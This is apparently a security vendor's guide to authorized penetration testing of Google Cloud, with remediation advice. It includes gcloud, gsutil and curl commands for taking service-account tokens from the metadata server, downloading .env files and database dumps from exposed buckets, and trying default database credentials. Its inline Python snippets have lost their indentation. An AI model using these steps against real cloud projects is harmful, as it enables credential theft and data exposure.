GCP Penetration Testing: Google Cloud Security Testing
Google Cloud Platform presents a distinct attack surface from AWS and Azure. Its IAM model — built around service accounts, primitive roles, and resource hierarchy — creates a set of misconfigurations that consistently appear in real-world assessments. GCP's tight integration between Compute Engine, Cloud Functions, Cloud Run, and BigQuery means that a single overprivileged service account can become a pivot point across the entire project.
This guide walks through a structured GCP penetration test: from initial reconnaissance and IAM enumeration through storage bucket exposure, service account abuse, metadata server exploitation, and Cloud SQL exposure. The methodology applies whether you are performing an assumed-breach assessment with project-level credentials, a black-box external engagement, or a full red team exercise.
GCP Penetration Testing Scope and Authorization
Before any testing begins, confirm written authorization explicitly covers GCP resources. Google Cloud's terms of service permit penetration testing of customer-owned resources without prior notice to Google, but your engagement letter must specify the target project IDs, any service account credentials provided, and out-of-scope services such as shared infrastructure or third-party SaaS integrations hosted on GCP.
Key scope decisions to resolve before testing:
- Project boundary — confirm which project IDs are in scope; GCP IAM is project-scoped by default
- Organization-level testing — organization-level IAM policies and folder structures require explicit authorization
- Destructive actions — agree whether snapshot deletion, firewall rule modification, or GCS object deletion is permitted
- Production vs. staging — Cloud SQL, BigQuery datasets, and GCS buckets may hold live customer data
Once scope is confirmed, set up a dedicated testing environment. Install gcloud CLI, configure application default credentials with the provided service account key, and set your default project:
# Authenticate with a service account key (assumed-breach scenario)
gcloud auth activate-service-account --key-file=sa-key.json
# Set default project
gcloud config set project target-project-id
# Verify current identity
gcloud auth list
gcloud config list
# Enumerate current permissions using IAM policy bindings
gcloud projects get-iam-policy target-project-id --format=json
IAM Enumeration and Privilege Escalation Paths
IAM misconfigurations are the most common high-severity finding in GCP assessments. GCP's IAM model grants permissions through roles bound to members (users, groups, service accounts) at a resource level. The key enumeration targets are overly broad primitive roles (roles/owner, roles/editor), excessive custom role permissions, and service accounts with iam.serviceAccounts.actAs — which allows impersonation of other service accounts.
Start by enumerating all IAM bindings at the project level and checking for primitive roles assigned to external or unexpected identities:
# List all IAM policy bindings for the project
gcloud projects get-iam-policy target-project-id \
--flatten="bindings[].members" \
--format='table(bindings.role,bindings.members)' \
| grep -E "roles/(owner|editor|viewer)"
# Enumerate all service accounts in the project
gcloud iam service-accounts list --format="table(email,displayName,disabled)"
# Check keys attached to each service account (old keys = likely forgotten)
gcloud iam service-accounts keys list \
--iam-account=sa-name@target-project-id.iam.gserviceaccount.com
# Check what roles the current identity can grant (privilege escalation)
gcloud iam roles list --project=target-project-id
gcloud projects get-iam-policy target-project-id \
--flatten="bindings[].members" \
--format=json | python3 -c "
import json, sys
policy = json.load(sys.stdin)
for b in policy:
if 'iam' in b['bindings']['role'].lower() or 'admin' in b['bindings']['role'].lower():
print(b['bindings']['role'], b['bindings']['members'])
"
Common privilege escalation paths in GCP include:
iam.serviceAccounts.actAs+run.services.create— deploy a Cloud Run service running as a high-privilege service accountiam.serviceAccounts.actAs+cloudfunctions.functions.create— deploy a Cloud Function that exfiltrates the attached SA tokenresourcemanager.projects.setIamPolicy— directly add yourself asroles/owneriam.roles.update— add permissions to an existing custom role your identity already holdsdeploymentmanager.deployments.create— use Deployment Manager to create resources running as the DM service account (typicallyroles/owner)
GCS Bucket Enumeration and Public Exposure
Google Cloud Storage bucket misconfigurations are a persistent finding. Public buckets — those accessible to allUsers or allAuthenticatedUsers — frequently expose environment files, backups, internal tooling, and credentials. Even authenticated-user-level access (allAuthenticatedUsers) means any Google-authenticated identity worldwide can read the bucket.
Enumerate buckets and check their IAM policies:
# List all buckets in the project
gsutil ls -p target-project-id
# Check IAM policy on each bucket
gsutil iam get gs://bucket-name
# Check for uniform bucket-level access vs. legacy ACLs
gsutil bucketpolicyonly get gs://bucket-name
# Attempt unauthenticated access (tests allUsers binding)
curl -s "https://storage.googleapis.com/storage/v1/b/bucket-name/o" \
| python3 -m json.tool
# List objects if bucket is publicly readable
gsutil ls -r gs://bucket-name/
# Check for publicly readable objects via XML API
curl -s "https://storage.googleapis.com/bucket-name/?list-type=2" \
| grep -E "(Key|Size|LastModified)"
# Download sensitive files found during listing
gsutil cp gs://bucket-name/backup/database.sql.gz .
gsutil cp gs://bucket-name/.env .
High-value targets within exposed buckets include Terraform state files (terraform.tfstate), which often contain plaintext credentials and resource configurations; application configuration files (.env, config.json, application.yml); database dumps; and internal documentation. If allAuthenticatedUsers can write to a bucket, test for object injection — replacing legitimate files with malicious payloads, particularly if the bucket serves application assets or scripts.
Service Account Key Abuse and Token Exfiltration
Service account keys are long-lived JSON credentials that authenticate as a GCP service account. Unlike AWS access keys, GCP service account keys do not expire unless explicitly rotated. Finding a leaked key — in a public repository, a misconfigured GCS bucket, a Docker image layer, or an application's environment — immediately grants the permissions of that service account.
The primary targets for service account credential exposure are:
| Location | What to Look For | Risk Level |
|---|---|---|
| Public GitHub repositories | type: service_account in JSON files |
Critical |
| GCS buckets (misconfigured) | Key files in /keys/, /credentials/ |
Critical |
| Docker image layers | Key files baked into image via COPY or ADD | High |
| Cloud Build logs | Key values echoed during build steps | High |
| Kubernetes Secrets (GKE) | Base64-encoded key JSON in Secret objects | High |
| App Engine / Cloud Run environment variables | GOOGLE_APPLICATION_CREDENTIALS pointing to mounted key | Medium |
| Terraform state files | Key JSON embedded in resource output | Critical |
When you obtain a service account key, verify it and enumerate its effective permissions using gcloud. Use IaC scanning tools to detect keys embedded in Terraform state or configuration files before they reach repositories.
Metadata Server Exploitation (SSRF to Cloud Credential Theft)
Every GCP Compute Engine instance, GKE node, Cloud Run container, and Cloud Function has access to the instance metadata server at http://metadata.google.internal/computeMetadata/v1/. This endpoint returns the OAuth2 access token for the service account attached to the instance — with no authentication required beyond being on the same network as the instance.
In a server-side request forgery (SSRF) scenario, if a web application can be coerced into making HTTP requests to internal endpoints, the metadata server is the highest-value target. Unlike AWS IMDSv2, GCP's metadata server does not require a session token pre-fetch; it only requires the Metadata-Flavor: Google header, which can often be injected through SSRF payloads.
# Direct metadata server access (from within a GCE instance)
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Returns:
# {"access_token":"ya29.XXXXXXXX","expires_in":3599,"token_type":"Bearer"}
# Enumerate all attached service accounts
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
# Retrieve scopes granted to the default SA
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes"
# Get project ID and other instance attributes
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/project-id"
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"
# Use the stolen token to call GCP APIs directly
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
# Enumerate accessible resources with the stolen token
curl -H "Authorization: Bearer $TOKEN" \
"https://storage.googleapis.com/storage/v1/b?project=target-project-id"
curl -H "Authorization: Bearer $TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/projects/target-project-id:getIamPolicy"
When testing for SSRF leading to metadata server access, try both the internal DNS name and the direct IP: http://169.254.169.254/computeMetadata/v1/ also resolves to the metadata server on GCE. Some WAF configurations block 169.254.169.254 but not the DNS name, or vice versa. For a deeper exploration of SSRF attack chains, see our guide on SSRF testing methodology.
Cloud SQL Exposure and Database Security Testing
Cloud SQL instances are frequently misconfigured in three ways: public IP assignment with no authorized networks, overly broad authorized networks (0.0.0.0/0), and weak or default credentials. GCP's Cloud SQL does not enforce strong passwords by default, and many teams assign public IPs for convenience during development and never restrict them before production.
Enumerate Cloud SQL instances and check their network configuration:
# List all Cloud SQL instances in the project
gcloud sql instances list --format="table(name,databaseVersion,region,settings.ipConfiguration.ipv4Enabled,settings.ipConfiguration.requireSsl)"
# Get detailed configuration including authorized networks
gcloud sql instances describe instance-name \
--format="json" | python3 -c "
import sys, json
config = json.load(sys.stdin)
ip_config = config.get('settings', {}).get('ipConfiguration', {})
print('Public IP enabled:', ip_config.get('ipv4Enabled'))
print('SSL required:', ip_config.get('requireSsl'))
print('Authorized networks:')
for net in ip_config.get('authorizedNetworks', []):
print(' -', net.get('value'), net.get('name', ''))
"
# Check for 0.0.0.0/0 authorized networks (internet-accessible)
gcloud sql instances list \
--format="json" | python3 -c "
import sys, json
instances = json.load(sys.stdin)
for inst in instances:
networks = inst.get('settings', {}).get('ipConfiguration', {}).get('authorizedNetworks', [])
for net in networks:
if net.get('value') in ['0.0.0.0/0', '::/0']:
print('EXPOSED:', inst['name'], '-', net['value'])
"
# Enumerate database users
gcloud sql users list --instance=instance-name
When a Cloud SQL instance is publicly accessible, attempt connection with default credentials. Common weak credential patterns include root with no password (MySQL default), postgres with postgres or empty password, and application-specific usernames using the project name as the password. Also check whether SSL is enforced — if not, credentials transit in cleartext over the public internet.
For Cloud SQL instances accessible only via Private IP or Cloud SQL Auth Proxy, the attack surface shifts to compromising a service account with cloudsql.instances.connect permission and using the Cloud SQL Auth Proxy to tunnel a connection — a legitimate tool that becomes an attacker's pivot if service account credentials are obtained.
GKE Cluster Security Testing
Google Kubernetes Engine clusters introduce Kubernetes-specific attack surface on top of GCP IAM. Key misconfigurations to test include legacy ABAC authorization, basic authentication enabled, public Kubernetes API endpoints without master authorized networks, and overprivileged workload identity bindings.
The GKE metadata server protects against pod-level metadata server abuse by default in GKE 1.12+ when Workload Identity is enabled — but many clusters still run with the legacy metadata concealment mode off, or use GCE service accounts attached directly to nodes rather than Workload Identity. In those cases, any pod on the node can steal the node service account token from the metadata server and use it to enumerate and modify GCP resources.
Check cluster configuration for common weaknesses:
- Legacy authorization —
gcloud container clusters describe cluster-name --format="value(legacyAbac.enabled)" - Master authorized networks — confirm the Kubernetes API is not exposed to
0.0.0.0/0 - Workload Identity — check if pods use Workload Identity or fall back to the node service account
- Dashboard exposure — Kubernetes dashboard deployed and accessible without authentication
- Default namespace service account RBAC — overprivileged default service accounts that pods inherit automatically
For detailed Kubernetes-specific testing methodology including RBAC enumeration, secrets extraction, and network policy gaps, see our guide on Kubernetes security testing.
Cloud Functions and Serverless Attack Surface
Cloud Functions and Cloud Run services are commonly misconfigured to allow unauthenticated invocation and run with unnecessarily broad service account permissions. An unauthenticated Cloud Function that triggers internal business logic can expose sensitive data processing or administrative actions to the public internet without any authentication gate.
Enumerate deployed functions and check their invocation settings:
# List all Cloud Functions and their authentication requirements
gcloud functions list --format="table(name,status,httpsTrigger.url,serviceAccountEmail)"
# Check if a function allows unauthenticated invocation
gcloud functions get-iam-policy function-name --region=us-central1
# A finding looks like this in the output:
# bindings:
# - members:
# - allUsers
# role: roles/cloudfunctions.invoker
# List Cloud Run services and their authentication settings
gcloud run services list --format="table(metadata.name,status.url,spec.template.spec.serviceAccountName)"
# Check Cloud Run service IAM
gcloud run services get-iam-policy service-name --region=us-central1
# Test unauthenticated invocation directly
curl -s "https://us-central1-target-project.cloudfunctions.net/function-name" \
-X POST \
-H "Content-Type: application/json" \
-d '{"action": "list_users"}'
Beyond unauthenticated access, examine the service account attached to each function. Cloud Functions default to using the App Engine default service account, which often holds roles/editor — a very broad primitive role. If you can invoke a function that makes internal GCP API calls, you may be able to leverage it as a proxy to actions the function's service account can perform but your current identity cannot.
Reporting GCP Findings: Risk and Remediation
GCP penetration test findings typically fall into three tiers based on exploitability and impact. Organize your report around these categories to help the client prioritize remediation work:
| Finding Type | Typical Severity | Remediation |
|---|---|---|
| Public GCS bucket with sensitive data | Critical | Remove allUsers/allAuthenticatedUsers IAM bindings; enable uniform bucket-level access |
| Service account key exposed in repo/bucket | Critical | Rotate key immediately; audit usage; migrate to Workload Identity |
| Metadata server accessible via SSRF | Critical | Remediate SSRF in application; enable metadata server concealment; restrict egress |
| Cloud SQL with 0.0.0.0/0 authorized network | High | Restrict authorized networks; enable Cloud SQL Auth Proxy; enforce SSL |
| Primitive roles (owner/editor) on service accounts | High | Replace with custom roles following least privilege; audit bindings quarterly |
| Unauthenticated Cloud Function invocation | High / Medium | Require authentication; review function logic for sensitive operations |
| GKE cluster without master authorized networks | Medium | Enable master authorized networks; restrict to known IP ranges |
| Service account keys not rotated (>90 days) | Medium | Implement automated key rotation; prefer Workload Identity over key files |
For each finding, document the exact gcloud commands or API calls that reproduce the issue, the identity used, the permissions exercised, and the data or actions exposed. GCP's Cloud Audit Logs provide a defensible timeline — use them to show the client what an attacker would have logged during your test and what detection gaps exist. A strong GCP pentest report pairs technical reproduction steps with specific remediation commands, not just policy recommendations.
Ironimo automates detection of the GCP misconfigurations covered in this guide — including exposed GCS buckets, publicly accessible Cloud SQL instances, unauthenticated Cloud Function endpoints, and SSRF vectors that could reach the GCP metadata server. Each finding is mapped to the specific IAM binding or network configuration that needs to change, with evidence and remediation steps included in the report.
Join the waitlist to run professional-grade GCP security scans without writing a single gcloud command.